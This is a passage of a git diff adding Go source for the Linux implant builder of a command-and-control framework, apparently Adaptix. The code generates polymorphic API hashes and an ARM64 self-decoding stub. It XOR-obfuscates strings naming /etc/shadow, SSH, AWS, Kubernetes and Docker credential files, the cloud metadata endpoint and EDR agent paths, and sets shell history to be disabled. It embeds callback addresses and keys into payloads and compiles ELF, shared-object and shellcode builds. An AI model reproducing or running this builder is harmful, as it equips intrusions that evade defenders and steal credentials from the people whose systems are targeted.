adrDataImm)) + + // adr x0, stub_start (for mprotect) + mprotectImm := -int32(mprotectAdrPos) + binary.LittleEndian.PutUint32(stub[mprotectAdrPos:mprotectAdrPos+4], arm64Adr(0, mprotectImm)) + + // adr x10, data_start (for branch after decode) + branchImm := int32(dataStart - branchAdrPos) + binary.LittleEndian.PutUint32(stub[branchAdrPos:branchAdrPos+4], arm64Adr(rData, branchImm)) + + return stub, keyOffset, sizeOffset +} + +func arm64JunkInsn() uint32 { + switch mrand.IntN(5) { + case 0: + return arm64Nop() + case 1: + r := mrand.IntN(16) + return arm64MovX(r, r) + case 2: + r := mrand.IntN(16) + return arm64AndSelf(r) + case 3: + r := mrand.IntN(16) + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git a/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go new file mode 100644 index 000000000..832a38b3b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go @@ -0,0 +1,288 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32 +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash matches the C-side djb2_hash() — case-insensitive, seeded +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// Linux libraries for hash-based resolution +var linuxLibs = []struct{ define, libName string }{ + {"HASH_LIB_LIBC", "libc.so.6"}, + {"HASH_LIB_LIBPTHREAD", "libpthread.so.0"}, + {"HASH_LIB_LIBDL", "libdl.so.2"}, + {"HASH_LIB_LIBRESOLV", "libresolv.so.2"}, + {"HASH_LIB_LIBM", "libm.so.6"}, +} + +// Linux functions to resolve by DJB2 hash +var linuxFuncSections = []struct { + category string + funcs []struct{ define, name string } +}{ + {"File I/O", []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }}, + {"Memory", []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }}, + {"Process", []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + {"HASH_FUNC_PRCTL", "prctl"}, + }}, + {"Network", []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_ACCEPT", "accept"}, + }}, + {"Threading", []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }}, + {"Pipes & PTY", []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }}, + {"System", []struct{ define, name string }{ + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + {"HASH_FUNC_SNPRINTF", "snprintf"}, + {"HASH_FUNC_STRTOL", "strtol"}, + }}, + {"User/Group", []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + }}, + {"Dynamic", []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }}, +} + +// generateLinuxApiDefines produces a C header with DJB2 hashes for per-payload polymorphism +func generateLinuxApiDefines(seed uint32) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload DJB2 API hashes\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef API_DEFINES_H\n#define API_DEFINES_H\n\n") + sb.WriteString(fmt.Sprintf("#define DJB2_SEED 0x%08xU\n\n", seed)) + + // Library hashes + sb.WriteString("// Library hashes\n") + for _, lib := range linuxLibs { + h := djb2Hash(seed, lib.libName) + sb.WriteString(fmt.Sprintf("#define %-30s 0x%08xU // %s\n", lib.define, h, lib.libName)) + } + sb.WriteString("\n") + + // Function hashes + for _, section := range linuxFuncSections { + sb.WriteString(fmt.Sprintf("// %s\n", section.category)) + for _, fn := range section.funcs { + h := djb2Hash(seed, fn.name) + sb.WriteString(fmt.Sprintf("#define %-35s 0x%08xU // %s\n", fn.define, h, fn.name)) + } + sb.WriteString("\n") + } + + sb.WriteString("#endif // API_DEFINES_H\n") + return sb.String() +} + +// Obfuscated strings — Linux-specific paths and sensitive strings +var obfuscatedStrings = []struct{ define, value string }{ + // Paths critiques + {"OBF_PROC_SELF_MAPS", "/proc/self/maps"}, + {"OBF_PROC_SELF_STATUS", "/proc/self/status"}, + {"OBF_PROC_SELF_EXE", "/proc/self/exe"}, + {"OBF_PROC_VERSION", "/proc/version"}, + {"OBF_ETC_SHADOW", "/etc/shadow"}, + {"OBF_ETC_PASSWD", "/etc/passwd"}, + {"OBF_ETC_OS_RELEASE", "/etc/os-release"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_BIN_SH", "/bin/sh"}, + {"OBF_BIN_BASH", "/bin/bash"}, + {"OBF_TMP", "/tmp"}, + // Persistence + {"OBF_CRONTAB", "/usr/bin/crontab"}, + {"OBF_SYSTEMCTL", "/usr/bin/systemctl"}, + // Credentials + {"OBF_SSH_DIR", ".ssh"}, + {"OBF_AWS_CREDS", ".aws/credentials"}, + {"OBF_KUBE_CONFIG", ".kube/config"}, + {"OBF_DOCKER_CONFIG", ".docker/config.json"}, + // Container/Cloud + {"OBF_DOCKERENV", "/.dockerenv"}, + {"OBF_K8S_SECRETS", "/run/secrets/kubernetes.io"}, + {"OBF_IMDS_URL", "169.254.169.254"}, + // EDR paths + {"OBF_FALCON_SENSOR", "/opt/CrowdStrike/falconctl"}, + {"OBF_ELASTIC_AGENT", "/opt/Elastic/Agent/elastic-agent"}, + {"OBF_WAZUH_AGENT", "/var/ossec/bin/wazuh-agentd"}, + {"OBF_SYSDIG_AGENT", "/opt/draios/bin/sysdig"}, + {"OBF_LACEWORK", "/var/lib/lacework"}, + // Anti-debug + {"OBF_PROC_SELF_ENVIRON", "/proc/self/environ"}, + {"OBF_PROC_1_CGROUP", "/proc/1/cgroup"}, + {"OBF_SYS_DMI_PRODUCT", "/sys/class/dmi/id/product_name"}, + {"OBF_SYS_DMI_VENDOR", "/sys/class/dmi/id/sys_vendor"}, + {"OBF_PROC_CPUINFO", "/proc/cpuinfo"}, + {"OBF_PROC_MEMINFO", "/proc/meminfo"}, + // PTY env vars + {"OBF_HISTFILE", "HISTFILE=/dev/null"}, + {"OBF_HISTFILESIZE", "HISTFILESIZE=0"}, + {"OBF_HISTSIZE", "HISTSIZE=0"}, +} + +// generateObfStrings produces a C header with XOR-obfuscated strings +func generateObfStrings() string { + // Generate per-payload random 16-byte XOR key + key := make([]byte, 16) + _, _ = rand.Read(key) + + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef STRINGS_OBF_H\n#define STRINGS_OBF_H\n\n") + sb.WriteString("#include \n\n") + + // Build nonce (unique per payload) + nonce := make([]byte, 16) + _, _ = rand.Read(nonce) + sb.WriteString("// Build nonce (unique per payload)\n") + sb.WriteString("static const uint8_t _build_nonce[] = {") + for i, b := range nonce { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n\n") + + // XOR key + sb.WriteString("static const uint8_t _xor_key[] = {") + for i, b := range key { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("static const int _xor_key_len = %d;\n\n", len(key))) + + // Deobfuscation macro + sb.WriteString("// Runtime deobfuscation: XOR decrypt into stack buffer, use, then zero\n") + sb.WriteString("#define DEOBF(name, dst) do { \\\n") + sb.WriteString(" for (int _i = 0; _i < (int)sizeof(name##_enc); _i++) \\\n") + sb.WriteString(" (dst)[_i] = name##_enc[_i] ^ _xor_key[_i % _xor_key_len]; \\\n") + sb.WriteString(" (dst)[sizeof(name##_enc)] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + sb.WriteString("#define ZERO_STR(buf, len) do { \\\n") + sb.WriteString(" volatile char *_p = (volatile char*)(buf); \\\n") + sb.WriteString(" for (unsigned int _i = 0; _i < (unsigned int)(len); _i++) _p[_i] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + // Generate each obfuscated string + for _, s := range obfuscatedStrings { + // XOR encode + enc := make([]byte, len(s.value)) + for i := 0; i < len(s.value); i++ { + enc[i] = s.value[i] ^ key[i%len(key)] + } + + sb.WriteString(fmt.Sprintf("// %s = \"%s\" (%d bytes)\n", s.define, s.value, len(s.value))) + sb.WriteString(fmt.Sprintf("static const uint8_t %s_enc[] = {", s.define)) + for i, b := range enc { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("#define %s_LEN %d\n\n", s.define, len(s.value))) + } + + // Junk variable to prevent dead-code elimination of nonce + sb.WriteString("static __attribute__((used)) const uint8_t *_nonce_ref = _build_nonce;\n\n") + + sb.WriteString("#endif // STRINGS_OBF_H\n") + return sb.String() +} + +// randomJunkByte returns a random non-zero byte for padding +func randomJunkByte() byte { + return byte(mrand.IntN(254) + 1) +} diff --git a/AdaptixServer/extenders/linux_agent/pl_main.go b/AdaptixServer/extenders/linux_agent/pl_main.go new file mode 100644 index 000000000..647b68ce4 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_main.go @@ -0,0 +1,2157 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + Arch string `json:"arch"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` + OpsecEnabled bool `json:"opsec_enabled"` +} + +var SrcPath = "src_macos" // Go fallback (unused for native C builds) + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + listenerWatermark, err := strconv.ParseInt(transportProfile.Watermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + case "bind_tcp": + port, _ := listenerMap["port_bind"].(float64) + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: []string{}, + BannerSize: 0, + ConnTimeout: 0, + ConnCount: 0, + BindPort: int(port), + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants + +var ( + NativeSrcDir = "src_agent/agent" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_linux", "tasks_opsec", "jobs", "tasks_async", "tasks_net", "proxyfire", "elf_resolve", "opsec", "pivot", "tasks_pivot", "ax_vsnprintf", "bof_api", "elf_bof"} +) + +// Compiler selection based on architecture +func nativeCompiler(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "aarch64-linux-gnu-gcc" + } + return "musl-gcc" +} + +func nativeCFlags(arch string) string { + base := "-std=gnu11 -Os -fno-stack-protector -fno-builtin -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-ident -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + if arch == "aarch64" || arch == "arm64" { + return base + " -DARCH_AARCH64" + } + return base + " -DARCH_X86_64" +} + +func nativeLFlags(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" + } + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" +} + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var generateConfig GenerateConfig + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-linux-*") + if err != nil { + return nil, "", err + } + + arch := generateConfig.Arch + if arch == "" { + arch = "x86_64" + } + + switch generateConfig.Format { + case "Binary ELF (Native)": + return p.buildNativeELF(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shared Object (Native)": + return p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shellcode x86_64 (Native)": + return p.buildNativeShellcodeX64(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcodeARM64(profile, agentProfiles, generateConfig, currentDir, tempDir) + default: + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("unknown format: %s", generateConfig.Format) + } +} + +// buildNativeELF — Static ELF binary (no dynamic dependencies) +func (p *PluginAgent) buildNativeELF(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) { + Filename := "agent_native.elf" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, ELF static)", arch)) + + srcDir := NativeSrcDir + + // Step 1: Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // Step 2: Compile + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // Step 3: Link + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + lFlags := nativeLFlags(arch) + linkCmd := fmt.Sprintf("%s %s -o %s %s", compiler, lFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", err) + } + + // Step 4: Read output + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native ELF %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeSO — Shared Object (dlopen-loadable) +func (p *PluginAgent) buildNativeSO(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, 